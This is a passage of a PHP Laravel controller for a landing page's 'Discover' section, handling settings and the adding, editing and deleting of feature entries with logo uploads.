newly created resource in storage. * @param Request $request * @return Renderable */ public function store(Request $request) { $data['is_discover_section_on']= isset($request->is_discover_section_on) && $request->is_discover_section_on == 'on' ? 'on' : 'off' ; $data['discover_heading']= $request->discover_heading; $data['discover_description']= $request->discover_description; $data['discover_live_demo_link']= $request->discover_live_demo_link; $data['discover_buy_now_link']= $request->discover_buy_now_link; foreach($data as $key => $value){ LandingPageSetting::updateOrCreate(['name' => $key],['value' => $value]); } return redirect()->back()->with(['success'=> 'Setting update successfully']); } /** * Show the specified resource. * @param int $id * @return Renderable */ public function show($id) { return view('landingpage::landingpage.discover.show'); } /** * Show the form for editing the specified resource. * @param int $id * @return Renderable */ public function edit($id) { return view('landingpage::landingpage.discover.edit'); } /** * Update the specified resource in storage. * @param Request $request * @param int $id * @return Renderable */ public function update(Request $request, $id) { // } /** * Remove the specified resource from storage. * @param int $id * @return Renderable */ public function destroy($id) { // } public function discover_create(){ $settings = LandingPageSetting::settings(); return view('landingpage::landingpage.discover.create'); } public function discover_store(Request $request){ $settings = LandingPageSetting::settings(); $data = json_decode($settings['discover_of_features'], true); if( $request->discover_logo){ $discover_logo = time()."-discover_logo." . $request->discover_logo->getClientOriginalExtension(); $dir = 'uploads/landing_page_image'; $path = LandingPageSetting::upload_file($request,'discover_logo',$discover_logo,$dir,[]); if($path['flag']==0){ return redirect()->back()->with('error', __($path['msg'])); } $datas['discover_logo'] = $discover_logo; } $datas['discover_heading']= $request->discover_heading; $datas['discover_description']= $request->discover_description; $data[] = $datas; $data = json_encode($data); LandingPageSetting::updateOrCreate(['name' => 'discover_of_features'],['value' => $data]); return redirect()->back()->with(['success'=> 'Discover add successfully']); } public function discover_edit($key){ $settings = LandingPageSetting::settings(); $discovers = json_decode($settings['discover_of_features'], true); $discover = $discovers[$key]; return view('landingpage::landingpage.discover.edit', compact('discover','key')); } public function discover_update(Request $request, $key){ $settings = LandingPageSetting::settings(); $data = json_decode($settings['discover_of_features'], true); if( $request->discover_logo){ $discover_logo = time()."-discover_logo." . $request->discover_logo->getClientOriginalExtension(); $dir = 'uploads/landing_page_image'; $path = LandingPageSetting::upload_file($request,'discover_logo',$discover_logo,$dir,[]); if($path['flag']==0){ return redirect()->back()->with('error', __($path['msg'])); } $data[$key]['discover_logo'] = $discover_logo; } $data[$key]['discover_heading'] = $request->discover_heading; $data[$key]['discover_description'] = $request->discover_description; $data = json_encode($data); LandingPageSetting::updateOrCreate(['name' => 'discover_of_features'],['value' => $data]); return redirect()->back()->with(['success'=> 'Discover update successfully']); } public function discover_delete($key) { $settings = LandingPageSetting::settings(); $pages = json_decode($settings['discover_of_features'], true); unset($pages[$key]); LandingPageSetting::updateOrCreate(['name' => 'discover_of_features'], ['value' => $pages]); return redirect()->back()->with(['success' => 'Discover delete successfully']); } } PK 3nx\Tg '